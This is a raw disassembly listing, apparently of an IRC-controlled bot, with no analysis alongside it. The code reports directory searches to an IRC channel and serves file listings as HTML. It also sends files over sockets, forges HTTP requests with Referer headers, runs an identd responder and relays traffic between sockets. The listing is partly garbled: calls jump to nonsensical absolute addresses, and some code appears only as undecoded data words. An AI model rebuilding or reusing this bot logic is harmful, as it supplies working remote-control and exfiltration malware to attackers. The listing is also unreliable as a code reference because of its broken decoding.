mov edi, [ebp+arg_0]
push offset asc_429998 ; "\n"
push edi
call sub_41C0F4
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_40F9C9
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41B980
add esp, 14h
jmp loc_40FAC8
; ---------------------------------------------------------------------------
loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_40FAAE
call sub_41AFE0
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
push edi
call sub_41AFE0
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_40FAC8
; ---------------------------------------------------------------------------
loc_40FAAE: ; CODE XREF: sub_40F96A+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj
; sub_40F96A+142j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
cmp [ebp+arg_C], ebx
jz short loc_40FB63
push [ebp+arg_C]
call sub_41AFE0
cmp eax, 2
pop ecx
jbe short loc_40FB63
push [ebp+arg_C]
call sub_41AFE0
sub eax, 3
pop ecx
jz short loc_40FB14
loc_40FB08: ; CODE XREF: sub_40F96A+1A8j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40FB14
dec eax
jnz short loc_40FB08
loc_40FB14: ; CODE XREF: sub_40F96A+19Cj
; sub_40F96A+1A5j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41B5F0
add esp, 0Ch
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
loc_40FB63: ; CODE XREF: sub_40F96A+180j
; sub_40F96A+18Ej
lea eax, [ebp+var_388]
push eax
push edi
nop
call near ptr 25C0000h
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
nop
call near ptr 27303F0h
test eax, eax
jz loc_40FF53
mov edi, 1FFh
loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j
cmp [ebp+var_388], ebx
jz loc_40FF3B
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40FF3B
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40FF3B
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
nop
call near ptr 2730000h
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call near ptr 272088Fh
nop
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_40FC04
mov ecx, offset aAm ; "AM"
loc_40FC04: ; CODE XREF: sub_40F96A+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_40FC10
sub eax, 0Ch
loc_40FC10: ; CODE XREF: sub_40F96A+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41B886
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_40FDB3
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_40FC84
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_40FEFC
; ---------------------------------------------------------------------------
loc_40FC84: ; CODE XREF: sub_40F96A+2E0j
cmp [ebp+arg_C], ebx
jz loc_40FD6E
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_41B980
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
lea eax, [ebp+var_35C]
push eax
call sub_41AFE0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40FD24
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_40FD29
; ---------------------------------------------------------------------------
loc_40FD24: ; CODE XREF: sub_40F96A+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_40FD29: ; CODE XREF: sub_40F96A+3B8j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40FEFD
; ---------------------------------------------------------------------------
loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 14h
jmp loc_40FF0C
; ---------------------------------------------------------------------------
loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_40FDF2
push ebx
push [ebp+var_368]
call sub_416922
pop ecx
pop ecx
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi
loc_40FDDE: ; CODE XREF: sub_40F96A+577j
lea eax, [ebp+var_248]
push eax
call sub_41B980
add esp, 1Ch
jmp loc_40FF0C
; ---------------------------------------------------------------------------
loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj
cmp [ebp+arg_C], ebx
jz loc_40FEE6
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_4293C4
push edi
push eax
call sub_41B980
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
lea eax, [ebp+var_35C]
push eax
call sub_41AFE0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40FE92
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_40FE97
; ---------------------------------------------------------------------------
loc_40FE92: ; CODE XREF: sub_40F96A+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_40FE97: ; CODE XREF: sub_40F96A+526j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40FDDE
; ---------------------------------------------------------------------------
loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_40FEFC: ; CODE XREF: sub_40F96A+315j
push esi
loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj
lea eax, [ebp+var_248]
push eax
call sub_41B980
add esp, 18h
loc_40FF0C: ; CODE XREF: sub_40F96A+444j
; sub_40F96A+483j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
cmp [ebp+arg_8], ebx
jz short loc_40FF3B
push 7D0h
call near ptr 2650E43h
nop
loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj
; sub_40F96A+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call near ptr 27303F0h
nop
test eax, eax
jnz loc_40FB8F
loc_40FF53: ; CODE XREF: sub_40F96A+21Aj
push [ebp+arg_0]
nop
call near ptr 2720000h
cmp [ebp+arg_8], ebx
jz short loc_40FF96
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41B886
add esp, 14h
jmp short loc_40FFCA
; ---------------------------------------------------------------------------
loc_40FF96: ; CODE XREF: sub_40F96A+5F5j
cmp [ebp+arg_C], ebx
jz short loc_40FFB0
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41B886
pop ecx
pop ecx
jmp short loc_40FFCA
; ---------------------------------------------------------------------------
loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41B886
add esp, 10h
loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj
; sub_40F96A+644j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F96A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
nop
call near ptr 26E0921h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4100A8
push esi
push ebx
nop
call near ptr 2710A52h
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_4100A1
loc_410035: ; CODE XREF: sub_40FFF0+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41B590
add esp, 0Ch
cmp edi, [ebp+arg_4]
loc_41004D: ; DATA XREF: ___:00437A30o
; ___:00437A44o
jbe short loc_410052
mov edi, [ebp+arg_4]
loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call near ptr 2740000h
nop
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
nop
call near ptr 26E0000h
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jnz short loc_41009C
call dword_4CAF08
cmp eax, 2733h
jnz short loc_4100A1
xor eax, eax
loc_41009C: ; CODE XREF: sub_40FFF0+9Bj
sub [ebp+arg_4], eax
jnz short loc_410035
loc_4100A1: ; CODE XREF: sub_40FFF0+43j
; sub_40FFF0+A8j
push ebx
nop
call near ptr 26408F3h
loc_4100A8: ; CODE XREF: sub_40FFF0+30j
pop edi
pop esi
pop ebx
leave
retn
sub_40FFF0 endp
; =============== S U B R O U T I N E =======================================
sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41AFE0
test eax, eax
pop ecx
jbe short loc_4100D6
loc_4100C0: ; CODE XREF: sub_4100AD+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_4100CA
mov byte ptr [esi+edi], 2Fh
loc_4100CA: ; CODE XREF: sub_4100AD+17j
push edi
inc esi
call sub_41AFE0
cmp esi, eax
pop ecx
jb short loc_4100C0
loc_4100D6: ; CODE XREF: sub_4100AD+11j
mov eax, edi
pop edi
pop esi
retn
sub_4100AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CAEE4
push 6
push 1
push 2
call dword_4CAFF4
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4CAF74
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40AAF9
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jz short loc_4101B8
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410154
mov eax, offset dword_43D128
loc_410154: ; CODE XREF: sub_4100DB+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41B980
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4CAFC4
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4CAF8C
pop esi
loc_4101B8: ; CODE XREF: sub_4100DB+6Bj
push ebx
call dword_4CB00C
call dword_4CAECC
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41B886
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_4101F8
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_4101F8: ; CODE XREF: sub_4100DB+102j
pop edi
pop ebx
leave
retn
sub_4100DB endp
; ---------------------------------------------------------------------------
loc_4101FC: ; DATA XREF: ___:00401666o
; sub_401ACD+4369o
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp-1Ch]
push esi
push eax
mov [ebp-8], esi
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push 71h
call dword_4CAF74
push esi
push 1
push 2
mov [ebp-1Ah], ax
mov [ebp-18h], esi
call dword_4CAFF4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410360
mov eax, [ebp+8]
push edi
imul eax, 234h
mov dword_43DEBC[eax], ebx
lea eax, [ebp-1Ch]
push eax
push ebx
call dword_4CAFA0
cmp eax, 0FFFFFFFFh
jz loc_410360
push 5
push ebx
call dword_4CAF9C
cmp eax, 0FFFFFFFFh
jz loc_410360
mov [ebp-0Ch], edi
mov edi, 200h
loc_410287: ; CODE XREF: ___:004102E6j
; ___:00410349j ...
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-2Ch]
push eax
push ebx
call dword_4CB008
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_41035B
movzx eax, word ptr [ebp-2Ah]
push eax
push dword ptr [ebp-28h]
call dword_4CB000
push eax
lea eax, [ebp-238h]
push offset dword_433F94
push eax
call sub_41B886
lea eax, [ebp-238h]
push eax
call sub_4151AC
add esp, 14h
lea eax, [ebp-238h]
push esi
push edi
push eax
push dword ptr [ebp-4]
call dword_4CAF8C
cmp eax, 0FFFFFFFFh
jz short loc_410287
lea eax, [ebp-238h]
push esi
push eax
call sub_417F7F
push 0Ch
lea eax, [ebp-38h]
push esi
push eax
call sub_41B590
push esi
push esi
lea eax, [ebp-38h]
push 2
push eax
call sub_40B08D
add esp, 24h
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp-238h]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp-238h]
push esi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp-238h]
push eax
push dword ptr [ebp-4]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jz loc_410287
mov dword ptr [ebp-8], 1
jmp loc_410287
; ---------------------------------------------------------------------------
loc_41035B: ; CODE XREF: ___:0041029Cj
cmp [ebp-8], esi
jnz short loc_410387
loc_410360: ; CODE XREF: ___:00410243j
; ___:00410267j ...
call dword_4CAF08
push eax
lea eax, [ebp-238h]
push offset dword_433F50
push eax
call sub_41B886
lea eax, [ebp-238h]
push eax
call sub_4151AC
add esp, 10h
loc_410387: ; CODE XREF: ___:0041035Ej
push ebx
call dword_4CB00C
push dword ptr [ebp-4]
call dword_4CB00C
push dword ptr [ebp+8]
call sub_40B412
pop ecx
push esi
nop
call near ptr 26C0000h
pop edi
pop esi
pop ebx
loc_4103AA: ; DATA XREF: sub_401ACD+613Bo
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-150h]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp-14h]
push esi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-44h]
call dword_4CAF74
push 6
push 1
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
mov [ebp-4], edi
call dword_4CAFF4
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz loc_410516
mov ecx, [ebp-40h]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_43DEBC[ecx], eax
call dword_4CAE84
lea eax, [ebp-14h]
push edi
push eax
push dword ptr [ebp+8]
call dword_4CAFA0
test eax, eax
jnz loc_410516
push 0Ah
push dword ptr [ebp+8]
call dword_4CAF9C
test eax, eax
jnz loc_410516
loc_41045A: ; CODE XREF: ___:00410470j
lea eax, [ebp-4]
push eax
lea eax, [ebp-28h]
push eax
push dword ptr [ebp+8]
call dword_4CB008
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41045A
movzx eax, word ptr [ebp-26h]
push dword ptr [ebp-40h]
mov [ebp-14Ch], edi
mov [ebp-30h], esi
push eax
push dword ptr [ebp-24h]
call dword_4CB000
push eax
lea eax, [ebp-350h]
push offset unk_433FFC
push eax
call sub_41B886
push edi
lea eax, [ebp-350h]
push 18h
push eax
call sub_40B0F6
mov [ebp-3Ch], eax
imul eax, 234h
mov ecx, [ebp-40h]
add esp, 20h
mov dword_43DEB4[eax], ecx
lea eax, [ebp-18h]
push eax
lea eax, [ebp-150h]
push esi
push eax
push offset loc_41053B
push esi
push esi
nop
; ---------------------------------------------------------------------------
dw 25E8h
dd 8B0224FBh, 0C969C44Dh, 234h, 8189C63Bh, 43DEC4h, 75391374h
dd 63850FD0h, 6AFFFFFFh, 44E89032h, 0EB022409h, 0F9E890EDh
dd 50022504h, 433FC068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
jmp short loc_410519
; ---------------------------------------------------------------------------
loc_410516: ; CODE XREF: ___:0041040Dj
; ___:00410441j ...
mov edi, [ebp+8]
loc_410519: ; CODE XREF: ___:00410514j
push edi
call dword_4CB00C
push dword ptr [ebp+8]
call dword_4CB00C
push dword ptr [ebp-40h]
call sub_40B412
pop ecx
push esi
nop
call near ptr 26C0000h
pop edi
pop esi
loc_41053B: ; DATA XREF: ___:004104CEo
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41BB20
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4CAFF4
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_4106F1
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call dword_4CAF74
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call dword_4CAFB4
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_4105CB
lea eax, [ebp-13Ch]
push eax
call dword_4CAFF8
jmp short loc_4105D9
; ---------------------------------------------------------------------------
loc_4105CB: ; CODE XREF: ___:004105BAj
push 2
lea eax, [ebp-8]
push 4
push eax
call dword_4CAF2C
loc_4105D9: ; CODE XREF: ___:004105C9j
cmp eax, edi
jz loc_4106F1
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jz loc_4106F1
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call dword_4CB000
push eax
lea eax, [ebp-344h]
push offset unk_434084
push eax
call sub_41B886
push esi
lea eax, [ebp-344h]
push 18h
push eax
call sub_40B0F6
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_43DEBC[ebx]
mov dword_43DEB4[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43DEC0[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_410722
push edi
push edi
call near ptr 2660000h
nop
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov dword_43DEC4[ecx], eax
jz short loc_4106DE
loc_41068B: ; CODE XREF: ___:00410698j
cmp [ebp-20h], edi
jnz short loc_41069A
push 32h
nop
call near ptr 2650E43h
jmp short loc_41068B
; ---------------------------------------------------------------------------
loc_41069A: ; CODE XREF: ___:0041068Ej
mov ebx, 1000h
loc_41069F: ; CODE XREF: ___:004106DAj
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CAF8C
cmp eax, edi
jle short loc_4106F1
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jnz short loc_41069F
jmp short loc_4106F1
; ---------------------------------------------------------------------------
loc_4106DE: ; CODE XREF: ___:00410689j
nop
call near ptr 2660A00h
push eax
push offset unk_434044
call sub_415220
pop ecx
pop ecx
loc_4106F1: ; CODE XREF: ___:0041057Fj
; ___:004105DBj ...
mov eax, [ebp-4]
imul eax, 234h
push dword_43DEBC[eax]
call dword_4CB00C
push dword ptr [ebp+8]
call dword_4CB00C
push dword ptr [ebp-4]
call sub_40B412
pop ecx
push edi
nop
call near ptr 26C0000h
pop edi
pop esi
pop ebx
loc_410722: ; DATA XREF: ___:0041066Bo
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41BB20
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_410759: ; CODE XREF: ___:0041079Ej
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_43DEC0[esi]
call dword_4CAF8C
test eax, eax
jle short loc_4107A0
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_43DEBC[esi]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jnz short loc_410759
loc_4107A0: ; CODE XREF: ___:00410783j
push dword_43DEC0[esi]
call dword_4CB00C
push dword ptr [ebp-14h]
call sub_40B412
pop ecx
push 0
nop
; ---------------------------------------------------------------------------
dd 2AF843E8h
; ---------------------------------------------------------------------------
add bl, [edi+5Eh]
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp-3D4h]
push 1
mov dword ptr [ebp-0Ch], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_43DEBC[eax]
xor edi, edi
mov [ebp-8], edi
mov [ebp-1F4h], ebx
mov eax, [esi]
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call dword_4CAF5C
test eax, eax
jnz short loc_410843
push dword ptr [esi]
call dword_4CB00C
push dword ptr [ebp+8]
call sub_40B412
pop ecx
push edi
nop
call near ptr 26C0000h
loc_410843: ; CODE XREF: ___:00410829j
push edi
lea eax, [ebp-3Ch]
push ebx
push eax
push dword ptr [esi]
call dword_4CAF8C
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4109C4
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4109C4
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call sub_4109C4
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call dword_4CAEC8
test eax, eax
jz short loc_4108BC
call dword_4CAF08
push eax
push offset unk_43415C
call sub_415220
push dword ptr [ebp+8]
call sub_40B412
add esp, 0Ch
push edi
call near ptr 26C0000h
nop
loc_4108BC: ; CODE XREF: ___:00410897j
push 2
lea eax, [ebp-18h]
push 4
push eax
call dword_4CAF2C
cmp eax, edi
jnz short loc_4108E6
push dword ptr [ebp-18h]
